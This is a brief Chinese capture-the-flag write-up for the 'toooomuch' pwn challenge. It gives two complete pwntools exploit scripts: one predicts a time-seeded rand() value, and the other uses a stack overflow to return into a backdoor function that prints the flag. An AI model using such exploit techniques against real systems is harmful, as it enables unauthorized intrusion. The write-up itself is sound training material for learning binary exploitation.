toooomuch

toooomuch_第1张图片
toooomuch_第2张图片

有个后门,然后有栈溢出,还有个check_passcode函数需要输入43210,就会让我们猜一个数,猜中就有flag,这里有两种方法

  • exp1: 因为rand的种子是time(0),所以可以预测,然后得到随机数
from pwn import *
from ctypes import *

#p = process('./toooomuch')
p = remote('hackme.inndy.tw',7702)
dll = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil('passcode: ')
p.sendline('43210')
dll.srand(dll.time(0))
p.recvuntil('0 to 100: ')
num = dll.rand() % 100
p.sendline(str(num))

p.interactive()
  • exp2: 栈溢出直接ret到后门函数一样可以cat flag
from pwn import *

#p = process('./toooomuch')
p = remote('hackme.inndy.tw',7702)

p.recvuntil('passcode: ')
payload = 'a'*0x18 + 'aaaa'
payload += p32(0x0804863B)
p.sendline(payload)

p.interactive()

你可能感兴趣的:(toooomuch)